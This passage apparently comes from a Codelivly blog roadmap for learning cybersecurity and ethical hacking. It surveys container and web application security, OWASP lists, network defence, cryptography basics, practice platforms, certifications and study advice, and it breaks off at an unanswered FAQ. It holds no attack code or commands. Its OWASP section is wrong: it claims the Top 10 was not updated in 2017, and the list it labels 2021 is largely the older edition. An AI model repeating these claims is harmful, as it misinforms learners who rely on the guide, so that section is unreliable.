    • Benefits:
      • Portability: Docker containers can run on any platform that supports Docker.
      • Consistency: Applications behave consistently across different environments.
      • Isolation: Containers isolate applications and their dependencies from the underlying infrastructure.

    Container Security:

    • Container security involves protecting the entire container lifecycle, from image creation to runtime execution.
    • Best Practices:
      • Secure Base Images: Start with minimal and trusted base images to reduce vulnerabilities.
      • Image Scanning: Use image scanning tools to identify and remediate vulnerabilities in container images.
      • Runtime Security: Implement runtime security measures such as container isolation, least privilege access, and network segmentation.
      • Continuous Monitoring: Monitor containerized applications for security threats and anomalous behavior.
      • Container Orchestration Security: Secure container orchestration platforms like Kubernetes by configuring authentication, authorization, and network policies.

    Understanding the basics of AWS, Azure, and GCP, along with Docker fundamentals and container security principles, equips cybersecurity professionals with the knowledge needed to secure cloud environments and containerized applications effectively.

    1. Web Application Security

    Basic Understanding of Web Languages:

    • While not directly related to security, having a basic understanding of web languages can be beneficial for understanding how web applications work and identifying potential vulnerabilities.
    • Spend around 7 hours each on:
      • HTML and CSS: Basic structure and styling of web pages.
      • JavaScript: Client-side scripting language used for dynamic interactions on web pages.
      • PHP: Server-side scripting language commonly used for web development.
      • Node.js or other backend frameworks: Understanding backend logic and server-side processing.

    Database Technologies:

    • Familiarize yourself with various database technologies commonly used in web applications, including:
      • MySQL: Relational database management system (RDBMS) often used with PHP-based applications.
      • NoSQL: Non-relational databases like MongoDB, used for flexible data storage and retrieval.
    • Understanding database technologies helps in identifying vulnerabilities such as SQL injection and NoSQL injection.

    Common Web Application Vulnerabilities:

    • SQL Injection: Exploiting vulnerabilities in database queries to manipulate or access unauthorized data.
    • Cross-Site Scripting (XSS): Injecting malicious scripts into web pages viewed by other users.
    • Cross-Site Request Forgery (CSRF): Executing unauthorized actions on behalf of authenticated users.
    • Insecure Direct Object References (IDOR): Accessing or modifying unauthorized resources by manipulating object references.
    • Authentication and Session Management: Identifying weaknesses in user authentication and session handling mechanisms.
    • Security Misconfigurations: Exploiting misconfigured web servers, databases, or application frameworks.
    • File Upload Vulnerabilities: Uploading malicious files to compromise the server or execute arbitrary code.

    Never ending list….

    Web Application Testing Techniques:

    • Black Box Testing: Testing web applications without access to internal code or architecture details.
    • White Box Testing: Analyzing source code and internal workings of web applications for vulnerabilities.
    • Penetration Testing: Simulating real-world attacks to identify and exploit vulnerabilities in web applications.
    • Vulnerability Scanning: Using automated tools to scan web applications for known vulnerabilities and misconfigurations.
    • Code Review: Manual inspection of source code to identify security flaws and weaknesses.
    • Web Application Firewalls (WAFs): Implementing WAFs to protect web applications from common attacks and threats.

    Web Application Security Tools:

    Man-in-the-Middle (MiTM) Proxy:

    • Utilize tools like Burp Suite and OWASP ZAP for web application penetration testing (PT).
    • Burp Suite: Widely used for web security testing, includes various tools like Proxy, Scanner, Intruder, etc.
    • OWASP ZAP: Open-source alternative to Burp Suite, offering similar features for web security testing.

    Burp Suite:

    • Essential tool for web application security testing.
    • Community version provides basic functionality, suitable for learning and small-scale testing.
    • Components include:
      • Proxy: Intercepts and modifies HTTP/S requests between the browser and the web server for analysis and manipulation.
      • Scanner: Automatically identifies security vulnerabilities in web applications.
      • Intruder: Performs automated attacks like brute force, fuzzing, etc., to identify vulnerabilities.
      • Repeater: Allows manual manipulation and re-sending of individual requests for testing.
      • Sequencer: Analyzes the randomness and quality of tokens or session identifiers.
      • Decoder: Decodes various types of data encoding used in web applications.
      • Extender: Supports the integration of additional functionalities through extensions or plugins.

    OWASP ZAP:

    • Free and open-source web application security scanner.
    • Offers functionalities similar to Burp Suite, including proxy, scanner, and various attack tools.
    • Suitable for beginners and professionals alike, with active community support and regular updates.

    OWASP Top 10 Web Application Vulnerabilities:

    The OWASP (Open Web Application Security Project) Top 10 is a regularly updated list of the most critical security risks facing web applications. Here are the vulnerabilities listed in the 2013, 2017, and 2021 editions:

    OWASP Top 10 – 2013:

    1. Injection: SQL, NoSQL, OS Command, etc.
    2. Broken Authentication and Session Management: Improperly implemented authentication mechanisms.
    3. Cross-Site Scripting (XSS): Injection of malicious scripts into web pages viewed by other users.
    4. Insecure Direct Object References: Accessing unauthorized data by manipulating object references.
    5. Security Misconfiguration: Poorly configured security settings, default passwords, etc.
    6. Sensitive Data Exposure: Exposure of sensitive data through insufficient protection mechanisms.
    7. Missing Function Level Access Control: Unauthorized access to functionalities or resources.
    8. Cross-Site Request Forgery (CSRF): Execution of unwanted actions on behalf of an authenticated user.
    9. Using Components with Known Vulnerabilities: Use of outdated or vulnerable third-party components.
    10. Unvalidated Redirects and Forwards: Redirecting users to malicious websites or resources.

    OWASP Top 10 – 2017:
    The OWASP Top 10 list was not updated in 2017.

    OWASP Top 10 – 2021:

    1. Injection: Injection flaws such as SQL injection, NoSQL injection, OS command injection, etc.
    2. Broken Authentication: Issues related to authentication mechanisms like weak passwords, improper session management, etc.
    3. Sensitive Data Exposure: Exposure of sensitive data through insufficient protection mechanisms.
    4. XML External Entities (XXE): Vulnerabilities related to XML parsing and external entity references.
    5. Broken Access Control: Inadequate enforcement of access controls leading to unauthorized access.
    6. Security Misconfiguration: Poorly configured security settings, default passwords, unnecessary features enabled, etc.
    7. Cross-Site Scripting (XSS): Injection of malicious scripts into web pages viewed by other users.
    8. Insecure Deserialization: Vulnerabilities related to the deserialization of untrusted data.
    9. Using Components with Known Vulnerabilities: Use of outdated or vulnerable third-party components.
    10. Insufficient Logging & Monitoring: Lack of proper logging and monitoring of security events.

    Staying updated with the OWASP Top 10 vulnerabilities is crucial for web developers, security professionals, and organizations to prioritize their security efforts and mitigate potential risks effectively.

    API Security:

    APIs (Application Programming Interfaces) have become a fundamental part of modern software development, enabling interaction between different software systems and services. However, they also introduce unique security challenges. The OWASP (Open Web Application Security Project) provides a list of the top security risks associated with APIs, similar to its Top 10 Web Application Vulnerabilities. Here’s an overview of the OWASP API Security Top 10:

    OWASP API Security Top 10:

    1. Broken Object Level Authorization: Inadequate access controls leading to unauthorized access to resources or actions.
    2. Broken Authentication: Weak authentication mechanisms, improper session management, etc., leading to unauthorized access to APIs.
    3. Excessive Data Exposure: Exposure of sensitive information through APIs due to lack of proper data protection mechanisms.
    4. Lack of Resources & Rate Limiting: Absence of rate limiting and resource limitations leading to API abuse, DoS attacks, or excessive usage.
    5. Broken Function Level Authorization: Inadequate enforcement of access controls on individual API endpoints or functions.
    6. Mass Assignment: Acceptance of unexpected parameters or data during API calls, leading to potential security vulnerabilities.
    7. Security Misconfiguration: Poorly configured security settings, default configurations, unnecessary features enabled, etc.
    8. Injection: Injection vulnerabilities in API parameters, such as SQL injection, NoSQL injection, etc.
    9. Improper Assets Management: Inadequate tracking and management of API-related assets, such as keys, tokens, credentials, etc.
    10. Insufficient Logging & Monitoring: Lack of proper logging and monitoring of API activities and security events, hindering incident response and forensic analysis.

    Addressing these API security risks is essential for ensuring the integrity, confidentiality, and availability of both the API itself and the data it handles. Organizations must prioritize API security measures, including authentication, authorization, encryption, input validation, rate limiting, and logging, to mitigate potential threats and vulnerabilities effectively.

    Vulnerabilities

    Vulnerabilities in software systems can pose significant security risks, potentially leading to data breaches, unauthorized access, and other malicious activities. Here are some common examples of vulnerabilities that attackers may exploit:

    1. Cross-Site Scripting (XSS): Allows attackers to inject malicious scripts into web pages viewed by other users.
    2. HTML Injection: Similar to XSS, but specifically targets HTML code to manipulate the appearance or behavior of web pages.
    3. Cross-Site Request Forgery (CSRF): Tricks users into executing unwanted actions on a web application where they are authenticated.
    4. XXE (XML External Entity) Injection: Exploits vulnerable XML parsers to disclose confidential data, execute remote code, or perform server-side request forgery (SSRF).
    5. SQL Injection: Allows attackers to execute malicious SQL queries to manipulate or access unauthorized data in a database.
    6. File Upload Vulnerabilities: Allows attackers to upload and execute malicious files on a web server, potentially compromising its security.
    7. Directory Traversal: Exploits insufficient input validation to access files and directories outside the intended directory structure.
    8. Authentication & Authorization Issues: Weak authentication mechanisms or improper authorization controls can lead to unauthorized access to sensitive resources.
    9. Business Logic Vulnerabilities: Exploits flaws in the logic of an application’s workflows or processes to achieve unauthorized actions or access.
    10. Rate Limiting Bypass: Exploits weaknesses in rate limiting mechanisms to perform brute force attacks or overload server resources.

    Vulnerabilities: Just Examples, the list is never-ending

    To stay updated on the latest vulnerabilities and security trends, consider exploring the following resources:

    • HackerOne Reports: Browse vulnerability reports submitted by security researchers on the HackerOne platform to learn about real-world vulnerabilities and their impacts.
    • Personal Blogs and Twitter Hashtags: Follow security researchers, bug bounty hunters, and cybersecurity professionals on personal blogs and social media platforms like Twitter. Explore hashtags such as #infosec, #bugbounty, and #bugbountytips for valuable insights and tips on vulnerability discovery and mitigation strategies.
    1. Network Defense:

    Defending a network is a formidable challenge in the face of constantly evolving technology and expanding attack surfaces. Here are some key areas and strategies for network defense:

    Endpoint Security:

    • Implement antivirus and endpoint detection and response (EDR) solutions to defend against malware.
    • Understand common malware injection methods and how antivirus software works.
    • Maintain asset and inventory management to ensure security software and policies are applied uniformly across all machines.
    • Employ Data Leak/Loss Prevention (DLP) systems to prevent the unauthorized transmission of sensitive data.

    Email Security:

    • Protect against spam and phishing emails by implementing email gateway security software.
    • Develop strategies to identify and mitigate spam and phishing attempts.
    • Utilize email security measures to safeguard communication channels.

    Firewall, Proxy, VPN:

    • Configure firewall policies to control network traffic and enforce security measures.
    • Maintain access control lists (ACLs) and monitor DNS resolvers.
    • Utilize block lists and allow lists to manage network access effectively.
    • Deploy enterprise VPN and proxy configurations for secure remote access.

    Web Application Firewall (WAF):

    • Configure NG firewalls to protect web applications from common attacks.
    • Implement threat hunting techniques to proactively identify and mitigate security threats.
    • Conduct malware analysis and reverse engineering to understand and mitigate malicious software.

    Insider Threat Analysis:

    • Analyze and monitor internal network activity to detect and prevent insider threats.
    • Identify and mitigate potential vulnerabilities in the network infrastructure.

    SIEM, SOC, IHR:

    • Implement Security Information and Event Management (SIEM) systems to centralize security log data.
    • Establish a Security Operations Center (SOC) to monitor and respond to security incidents in real-time.
    • Form an Incident Handling and Response (IHR) team to coordinate incident response efforts and collaborate with relevant stakeholders.

    By implementing robust network defense strategies across these areas, organizations can effectively mitigate security risks and protect their networks from various cyber threats.

    1. Basics of Cryptography:

    Cryptography forms the foundation of modern cybersecurity, providing methods for secure communication and data protection. Here are some fundamental concepts:

    • Hashing: Hash functions transform input data into a fixed-size string of characters, known as a hash value. They are used to verify data integrity, password storage, and digital signatures.
    • Key Exchange: Key exchange protocols facilitate the secure exchange of cryptographic keys between parties to enable encrypted communication.
    • Salting: Salting involves adding a random value (salt) to input data before hashing to prevent the same input from producing the same hash value, enhancing password security.
    • PKI (Public Key Infrastructure): PKI is a framework that manages the creation, distribution, and revocation of digital certificates, which contain public keys used for encryption and authentication.
    • Private Key vs. Public Key: In asymmetric encryption, a pair of keys is used: a private key for decryption and a public key for encryption. The private key is kept secret, while the public key is shared.
    • Obfuscation: Obfuscation techniques obscure code or data to make it difficult to understand, reverse engineer, or tamper with, often used to protect intellectual property.
    • Secure vs. Insecure Protocols: Secure protocols, such as SSL/TLS, provide encryption and data integrity mechanisms, while insecure protocols transmit data in plaintext, making them vulnerable to interception.
    • FTP vs. SFTP: FTP (File Transfer Protocol) transfers data in plaintext, while SFTP (SSH File Transfer Protocol) encrypts data during transmission using SSH.
    • SSL vs. TLS: SSL (Secure Sockets Layer) and its successor TLS (Transport Layer Security) are cryptographic protocols that secure communication over a network, such as the internet.
    • DNSSEC: DNSSEC (Domain Name System Security Extensions) adds cryptographic authentication to DNS to prevent DNS spoofing and cache poisoning attacks.
    • LDAPS: LDAPS (LDAP over SSL) encrypts LDAP (Lightweight Directory Access Protocol) traffic using SSL/TLS for secure directory services communication.
    • SRTP: SRTP (Secure Real-time Transport Protocol) provides encryption, message authentication, and integrity protection for real-time communication protocols, such as VoIP.
    • IPSEC: IPsec (Internet Protocol Security) provides network layer security by encrypting and authenticating IP packets, ensuring confidentiality, integrity, and authenticity of data.
    1. LETS HACK / DEFEND Like a PRO

    Learning in the field of cybersecurity and hacking is an ongoing journey, and testing your skills on various platforms is an excellent way to reinforce what you’ve learned and discover new areas for improvement. It’s true that there’s always more to explore, and the vastness of the field means there’s something for everyone, whether you’re passionate about offensive or defensive security, or even specialized areas like IoT and blockchain security.

    Security is indeed a multifaceted domain, and both attackers and defenders play crucial roles in safeguarding systems and data. While attacking may seem more glamorous, defending is equally challenging and essential for maintaining the integrity and security of networks and applications.

    Remember, cybersecurity and hacking are all about continuous learning and research. Each concept or keyword mentioned in this guide can lead to deeper exploration and understanding. With your curiosity and dedication, you can delve further into any topic and expand your knowledge exponentially.

    TryHackMe

    • TryHackMe offers a variety of virtual environments and challenges covering different cybersecurity topics, from beginner to advanced levels.

    HackTheBox

    • HackTheBox provides a platform for users to engage in penetration testing challenges, offering realistic scenarios to practice hacking skills.

    PortSwigger Labs

    • PortSwigger Labs offers web security labs where you can practice finding and exploiting web vulnerabilities using Burp Suite and other tools.

    Try2Hack

    • Try2Hack offers a collection of hacking challenges and puzzles to solve, ranging from basic to advanced levels.

    echoCTF

    • echoCTF hosts Capture The Flag (CTF) competitions and challenges, allowing participants to test their hacking skills in a competitive environment.

    CertifiedSecure

    • CertifiedSecure provides a platform for hands-on cybersecurity training and certifications, covering various topics such as ethical hacking, penetration testing, and more.

    Root Me

    • Root Me offers a wide range of challenges and virtual environments to practice hacking and security skills, including web exploitation, network analysis, and cryptography.

    VulnHub

    • VulnHub hosts vulnerable virtual machines for users to download and exploit, providing real-world scenarios to practice penetration testing and vulnerability assessment.

    OverTheWire

    • OverTheWire offers interactive war games and challenges focused on cybersecurity and hacking, designed to improve problem-solving and technical skills.

    PentesterLab

    • PentesterLab provides hands-on exercises and labs to learn web penetration testing techniques, covering topics such as XSS, SQL injection, and more.

    LetsDefend

    • LetsDefend offers a platform for blue teamers to practice defending against cyber threats and conducting incident response exercises.

    SecurityBlueTeam

    • SecurityBlueTeam provides resources and challenges for blue teamers and defenders to enhance their skills in detecting and mitigating security threats.

    So keep exploring, keep learning, and never hesitate to dive into new challenges and opportunities for growth. Happy hacking and defending!

    Courses / Certifications / Resources

    1. Starting into Security

    For those starting their journey into cybersecurity, here are some recommended courses and certifications to build a strong foundation:

    1. CEH (Certified Ethical Hacker): This certification provides a comprehensive overview of ethical hacking concepts, tools, and techniques, covering topics such as penetration testing, vulnerability assessment, and network security fundamentals.
    2. CompTIA Security+: This entry-level certification covers essential cybersecurity concepts, including network security, cryptography, risk management, and threat detection, making it an excellent starting point for beginners.
    3. Practical Ethical Hacking – TCM: Offered by The Cyber Mentor, this practical course provides hands-on experience in ethical hacking techniques, focusing on real-world scenarios and practical skills development.
    4. eJPT (eLearnSecurity Junior Penetration Tester): This certification program is designed for aspiring penetration testers, covering topics such as reconnaissance, scanning, exploitation, and post-exploitation techniques.
    5. SANS SEC460: Enterprise Threat and Vulnerability Assessment: This SANS course focuses on performing comprehensive threat and vulnerability assessments within enterprise environments, equipping professionals with the skills to identify and mitigate security risks effectively.
    6. SANS SEC301: Intro to Cyber Security: This introductory course by SANS covers foundational cybersecurity concepts, terminology, and principles, providing a solid understanding of cybersecurity fundamentals for beginners.
    7. Network Hacking

    Here are some highly recommended courses, certifications, and resources for network hacking:

    1. SANS SEC660: SANS Institute offers this course titled “Advanced Penetration Testing, Exploit Writing, and Ethical Hacking.” It covers advanced techniques for penetration testing and exploit development.
    2. SANS SEC760: Another course by SANS Institute, “Advanced Exploit Development for Penetration Testers,” focuses specifically on exploit development techniques for penetration testers.
    3. eCPTX – Advanced Penetration Testing: The eLearnSecurity Certified Penetration Tester eXtreme (eCPTX) certification is designed for experienced penetration testers who want to validate their advanced skills and knowledge.
    4. OSCP (Offensive Security Certified Professional): Offered by Offensive Security, OSCP is one of the most respected certifications in the industry. It emphasizes practical hands-on skills in penetration testing and network exploitation.
    5. IppSec YouTube Channel: IppSec is known for his detailed walkthroughs of Hack The Box machines and other Capture The Flag (CTF) challenges. His channel is an excellent resource for learning network hacking techniques in a practical context.

    To kickstart your journey into network hacking , here are some essential resources and platforms:

    1. HackTheBox: An online platform offering hands-on labs to test and improve your penetration testing and cybersecurity skills. It provides a wide range of realistic scenarios to practice hacking techniques in a controlled environment.
    2. VulnHub: Offers a variety of downloadable virtual machines (VMs) that simulate vulnerable systems for practicing penetration testing and network security concepts. These VMs provide real-world scenarios to test your skills in a safe environment.
    3. OffensiveSecurity ProvingGrounds: This platform allows you to practice pentesting skills in a standalone, private lab environment. With additions like PG Play and PG Practice, Offensive Security’s Proving Grounds offers comprehensive training labs to enhance your skills.
    4. TryHackMe: An online platform designed to teach cybersecurity through gamified, real-world labs. It caters to both beginners and experienced hackers, offering guides and challenges to accommodate different learning styles. TryHackMe provides interactive labs covering various cybersecurity topics, including network security.
    5. HackTricks GitBook: A comprehensive collection of resources covering various attack vectors in network, mobile, and web security. This GitBook serves as a valuable reference for learning and mastering different cybersecurity concepts and techniques.
    6. Web Application

    For diving deep into web application security, here are some excellent courses, certifications, and resources:

    1. SANS SEC642: This course, titled “Advanced Web App Penetration Testing, Ethical Hacking, and Exploitation Techniques,” offered by SANS Institute, provides advanced training in web application penetration testing and exploitation techniques.
    2. eWPTXv2 – Advanced Web Application Penetration Testing: The eLearnSecurity Web Application Penetration Tester eXtreme (eWPTXv2) certification is designed for experienced professionals looking to validate their advanced skills in web application security testing.
    3. OSWE (Offensive Security Web Expert): Offered by Offensive Security, the OSWE certification focuses on advanced web application security testing skills, including hands-on exercises in identifying and exploiting security vulnerabilities in web applications.

    Getting Started with Web Application Security:

    • OWASP Testing Guide: A comprehensive resource explaining various security issues and how to test for them in web applications.
    • PortSwigger Web Security Academy: Practical learning resources followed by labs to master web application security testing techniques.
    • Bugcrowd Vulnerability Rating Taxonomy: A helpful resource for understanding multiple security issues and their associated severity ratings.
    • OWASP Juice Shop: A real-life application for practicing testing various security vulnerabilities.
    • Cobalt.io Vulnerability Wiki: Provides explanations, proof of concepts, and risk ratings for various security issues based on OWASP ASVS.
    • PayloadAllTheThings: An open-resource GitHub repository containing a vast list of payloads for different security issues.
    • Learn365 GitHub Repository: Contains various learning resources for web application security and other attack vectors.
    • HackTricks GitBook: A collection of resources covering various network, mobile, and web attack vectors.
    • InfoSec Writeups, PentesterLand & HackerOne Disclosures: Great resources for reading bug bounty writeups and learning from real-world hacking experiences.

    If you’re open to paid subscriptions, consider these two labs:

    • PentesterLab: Offers a platform for hands-on practice with web application security testing techniques.
    • PentesterAcademy — AttackDefense Labs: Provides a wide range of content covering attack and defense scenarios in web application security.
    1. Mobile Application Security

    To dive into the realm of mobile application security, consider these valuable resources and tools:

    1. OWASP Mobile Security Top 10: OWASP provides a comprehensive list of the top security risks faced by mobile applications. Understanding these risks is crucial for securing mobile apps effectively.
    2. The Mobile Application Hacker’s Handbook: This handbook offers in-depth insights into mobile application security, covering topics such as reverse engineering, static and dynamic analysis, and common vulnerabilities.
    3. HackTricks GitBook: Explore this extensive collection of resources covering various attack vectors in network, mobile, and web security. It serves as a valuable reference for learning and mastering different aspects of mobile application security.
    4. OWASP iGoat: iGoat is a deliberately insecure iOS application designed to teach iOS developers and security professionals about common vulnerabilities in mobile apps. It provides hands-on exercises for practicing mobile app security testing.
    5. Insecure Bank: This is an insecure Android banking application designed for educational purposes. It allows security professionals to practice identifying and exploiting vulnerabilities commonly found in Android apps.
    1. Cloud Pentest

    For those interested in cloud pentesting, SANS offers several valuable courses:

    1. SANS SEC588: Cloud Penetration Testing and Ethical Hacking: This course provides hands-on training in performing security assessments of cloud environments, including AWS, Azure, and GCP. Participants learn techniques for identifying and exploiting vulnerabilities in cloud-based infrastructure and applications.
    2. SANS SEC488: Cloud Security Essentials: While not specifically focused on pentesting, this course covers essential concepts in cloud security, including architecture, governance, risk management, and compliance. Understanding these fundamentals is crucial for conducting effective cloud penetration tests.
    3. SANS SEC534: Secure DevOps and Cloud Application Security: This course explores security considerations for cloud-native applications and DevOps practices. Participants learn how to assess the security posture of cloud-based applications and integrate security into the software development lifecycle.
    1. Defence

    For those interested in defense-oriented cybersecurity roles, here are some recommended courses and certifications:

    1. eNDP (Network Defense Professional): This certification focuses on building expertise in network defense strategies, including threat detection, incident response, and network security architecture.
    2. Firewall – PaloAlto Firewall: This training program provides in-depth knowledge of Palo Alto Networks’ firewall technologies, equipping professionals with the skills to configure, manage, and optimize firewall deployments for effective network defense.
    3. eCTHPv2 – Threat Hunting Professional: This certification program focuses on threat hunting techniques and methodologies, empowering security professionals to proactively detect and mitigate advanced threats within enterprise networks.
    4. SANS SEC699: Purple Team Tactics – Adversary Emulation for Breach Prevention & Detection: This course covers purple teaming strategies, which involve collaboration between red and blue teams to improve an organization’s overall security posture through realistic adversary emulation.
    5. SANS FOR500: Windows Forensic Analysis: While primarily focused on digital forensics, this course provides valuable insights into incident response and malware analysis techniques for defending Windows-based systems.
    6. SANS FOR508: Advanced Incident Response, Threat Hunting, and Digital Forensics: This course delves into advanced incident response techniques, threat hunting methodologies, and digital forensics practices, equipping professionals with the skills to effectively respond to and mitigate security incidents.
    7. SANS FOR572: Advanced Network Forensics: Threat Hunting, Analysis, and Incident Response: This course focuses on network forensics and threat hunting, enabling professionals to analyze network traffic, detect malicious activity, and respond to security incidents effectively.
    8. SANS SEC555: SIEM with Tactical Analytics: This course covers security information and event management (SIEM) technologies and tactical analytics, providing hands-on experience in configuring and using SIEM platforms for effective threat detection and response.
    1. Penetration Testing

    For individuals interested in specializing in penetration testing, here are some recommended courses and resources:

    1. eCPPTv2 (eLearnSecurity Certified Professional Penetration Tester): This certification program focuses on practical penetration testing skills, covering topics such as reconnaissance, scanning, exploitation, and post-exploitation techniques, leading to the mastery of penetration testing methodologies.
    2. LiveOverflow Youtube Channel: LiveOverflow offers a wide range of educational content on cybersecurity, including penetration testing, reverse engineering, and exploit development, providing valuable insights and tutorials for aspiring penetration testers.
    3. SANS SEC504: Hacker Tools, Techniques, Exploits, and Incident Handling: This SANS course dives deep into the tools, techniques, and methodologies used by hackers, focusing on practical skills development in penetration testing and incident handling.
    4. SANS SEC560: Network Penetration Testing and Ethical Hacking: This SANS course is designed to equip professionals with the knowledge and skills needed to conduct effective network penetration tests, covering topics such as network reconnaissance, vulnerability assessment, and exploitation techniques.

    Breakdown!!!

    Here’s a breakdown of foundational skills, hacking basics, and advanced topics for individuals looking to work in cybersecurity:

    Foundational Skills:

    • Understanding of computer networking principles and protocols.
    • Knowledge of operating systems (Windows, Linux, etc.) and their architecture.
    • Familiarity with programming languages such as Python, Bash scripting, and PowerShell.
    • Basic understanding of cybersecurity concepts, including threats, vulnerabilities, and risk management.

    Hacking Basics:

    1. Active Directory Hacking: Learn how to exploit weaknesses in Active Directory environments, which are widely used in corporate networks.
    2. Web Application Hacking: Gain skills in identifying and exploiting vulnerabilities in web applications using tools like Burp Suite and OWASP resources.
    3. Wireless Hacking: Understand how to crack WPA2 Personal and Enterprise networks and gain access to wireless networks.
    4. Certifications: Consider practical and affordable certifications like PNPT, CRTO, and CRTP, which provide hands-on training in penetration testing skills.
    5. Privilege Escalation: Develop skills in escalating privileges on Windows and Linux systems, a crucial aspect of post-exploitation in penetration testing.

    Beyond the Basics:

    1. Advanced Active Directory Hacking: Dive deeper into Active Directory security with resources from experts in the field like @PyroTek3, @_dirkjan, and @Haus3c.
    2. Advanced Web Application Hacking: Explore more advanced web hacking techniques and bug bounty platforms like HackerOne and Bugcrowd for real-world practice.
    3. Certifications: Consider more advanced certifications like OSCP, which provide practical experience and are highly valued in the industry.
    4. Exploit Development: Further refine your exploit development skills with advanced topics like heap exploitation and format string vulnerabilities.
    5. Privilege Escalation: Master privilege escalation techniques on both Windows and Linux systems, including kernel exploits and DLL hijacking.

    By focusing on these areas and continually expanding your knowledge and skills through hands-on practice and learning from industry experts, you can build a strong foundation and advance your career in cybersecurity.

    Personalized Paths and Practical Advice

    The roadmap I provided may not suit everyone’s goals and preferences. It’s tailored towards those interested in network hacking and web application/API hacking, but there are many other paths to explore within the realm of cybersecurity.

    For individuals interested in areas like game hacking, mobile hacking, malware analysis, and more, additional research and exploration are necessary. These fields require specialized knowledge and skills, and there are plenty of resources available to help you dive into these areas.

    It’s essential to recognize that the journey to becoming a proficient ethical hacker can indeed be overwhelming at times, and it may take anywhere from 1 to 2 years or even longer. Taking your time and enjoying the learning process is crucial, rather than rushing towards the end goal.

    Here are some key recommendations and personal advice to keep in mind as you embark on your journey:

    1. Network with other hackers and cybersecurity researchers through platforms like Twitter and LinkedIn. Learning from others’ experiences and perspectives can be invaluable.
    2. Watch hackers’ podcasts and engage with online communities to gain insights and knowledge that may not be available in traditional courses.
    3. Stay curious about new technologies and updates in the cybersecurity field. The landscape is constantly evolving, so staying informed is essential.
    4. Utilize platforms like TryHackMe, Hack The Box, and PortSwigger’s Web Security Academy to practice and hone your skills in a hands-on environment.
    5. Embrace programming languages as they can help automate tasks and create tools tailored to your work. Programming skills can significantly enhance your capabilities in cybersecurity. python is my personal suggestion along with C++  or other more
    6. Take advantage of free resources available online. There are numerous free courses, tutorials, and learning materials accessible to anyone willing to explore them.
    7. Stay active on LinkedIn to connect with professionals, share insights, and discover valuable resources and opportunities within the cybersecurity community.
    8. Remember that consistency is key, but it’s essential to maintain a healthy balance. Take breaks when needed, and don’t hesitate to step away from learning if you’re feeling burnt out. Engage in fun activities to recharge and come back with renewed energy and focus.

    In the vast world of ethical hacking, there’s no one-size-fits-all roadmap that will take you from start to finish. With technology constantly evolving, this field requires a mindset of lifelong learning. Each day presents new challenges and updates, demanding a commitment to continuous education until the day you retire.

    When you find yourself stuck along the way, here are some steps to help you navigate through:

    1. Search on Google: The internet is your best friend. A quick Google search can often lead you to the solution you’re looking for.
    2. Use ChatGPT or Similar AI: AI tools like ChatGPT can provide quick answers and guidance when you need assistance.
    3. Explore YouTube: YouTube is a treasure trove of tutorials and walkthroughs for almost any topic. A well-crafted search can yield valuable insights and solutions.

    Remember, searching for answers is an integral part of the game.

    Don’t Skip the Fundamentals:

    • Introductory Researching: Learn effective research techniques to find information efficiently.
    • Networking Basics: Understand the foundations of computer networking, including protocols and architectures.
    • Linux Basics: Familiarize yourself with the Linux operating system, a staple in the world of cybersecurity.
    • How the Web Works: Gain insights into web technologies, protocols, and communication mechanisms.
    • Web Application Basics: Learn the basics of web development and common vulnerabilities.
    • DBMS Basics (Database Management System) – Optional: Explore database fundamentals, such as MySQL, which can be invaluable when tackling issues like SQL injection.

    By prioritizing these fundamental skills and embracing the ethos of self-directed learning, you’ll be well-equipped to navigate the ever-changing landscape of ethical hacking.”

    While delving into the fundamentals, it’s beneficial to simultaneously explore additional areas that complement your foundational knowledge. Here are some topics you can start learning alongside the basics or afterward, depending on your preferences:

    1. Basics of Cybersecurity: Understand the fundamentals of cybersecurity, including concepts like the CIA triad (Confidentiality, Integrity, Availability) and various types of malware.
    2. Types of Penetration Testing: Familiarize yourself with different types of penetration testing, including Black Box, Gray Box, and White Box testing, along with the steps involved in penetration testing methodologies.
    3. Network Hacking: Dive into the world of network hacking by learning about network protocols such as TCP/IP, UDP/IP, HTTP, and FTP. Explore networking tools like Ping, Traceroute, and Netstat, and understand network services enumeration. Also suggest our own book on Networking For Dummies – where it is focused for beginners hackers or who want to delve into the vast field of Computer Networking.
    4. Introduction to Web Hacking: Begin your journey into web hacking with introductory courses covering topics like hacking web applications, understanding web protocols, and learning essential web hacking techniques.
    5. Hacking Courses: Take advantage of free resources available online, such as YouTube tutorials and Capture The Flag (CTF) platforms, to enhance your skills. Explore courses like TCM Security’s “Ethical Hacking in 15 Hours” series and practice your skills through CTF challenges.
    6. Intermediate Hacking Content: Once you’ve gained proficiency in the basics, challenge yourself with intermediate-level content covering topics like Linux privilege escalation and Active Directory hacking.

    Join Our Communities

    Join our vibrant communities at Codelivly and connect with like-minded individuals passionate about cybersecurity and hacking. Here’s where you can find us:

    Facebook: facebook.com/codelivly
    Instagram: instagram.com/codelivly
    Twitter: twitter.com/codelivly
    Telegram: t.me/codelivly
    Telegram Group Chat: t.me/codelivly_chat
    LinkedIn: linkedin.com/company/codelivly

    Stay updated on the latest trends, discussions, and events in cybersecurity, share your knowledge, and network with professionals from around the world. Join us today and be a part of the Codelivly community!

    Conclusion

    In conclusion, I trust that you’ve found this comprehensive guide beneficial on your journey into the realm of cybersecurity and hacking. While this article covers a vast array of topics, it’s important to remember that learning in this field is a continuous process, and there’s always more to explore and discover.

    The links and resources provided here have been instrumental in shaping my own path, and I encourage you to delve deeper into each topic and seek out additional resources beyond what’s listed here. Every individual’s journey is unique, and your exploration will undoubtedly lead you to new insights and experiences.

    With the wealth of information provided, you now have more than enough material to keep you engaged and learning throughout the year. Embrace the challenges, stay curious, and most importantly, enjoy the journey. Happy hacking!

    FAQs (Frequently Asked Questions)

    What is the difference between white hat and black hat hacking?

    • Answer: White hat hackers, also known as ethical hackers, use their skills for good, often employed to find vulnerabilities in systems and help organizations improve their security. Conversely, black hat hackers engage in illegal activities, exploiting vulnerabilities for personal gain or malicious purposes.

    How can I protect myself from cyber attacks?

    • Answer: You can protect yourself from cyber attacks by practicing good cybersecurity hygiene, such as using strong, unique passwords, enabling two-factor authentication, keeping your software and devices updated, avoiding suspicious links and attachments, and using reputable antivirus software.

    What are common signs of a cyber attack?

    • Answer: Common signs of a cyber attack include unusual computer behavior, such as slow performance, unexpected pop-ups, changes in system settings, unexplained account activity or unauthorized access, missing or altered files, and unusual network activity.

    What is social engineering?

    • Answer: Social engineering is a manipulation technique used by attackers to deceive individuals into divulging confidential information, providing access to systems, or performing actions that compromise security. It often involves psychological manipulation and exploits human behavior rather than technical vulnerabilities.

    What is ransomware and how does it work?

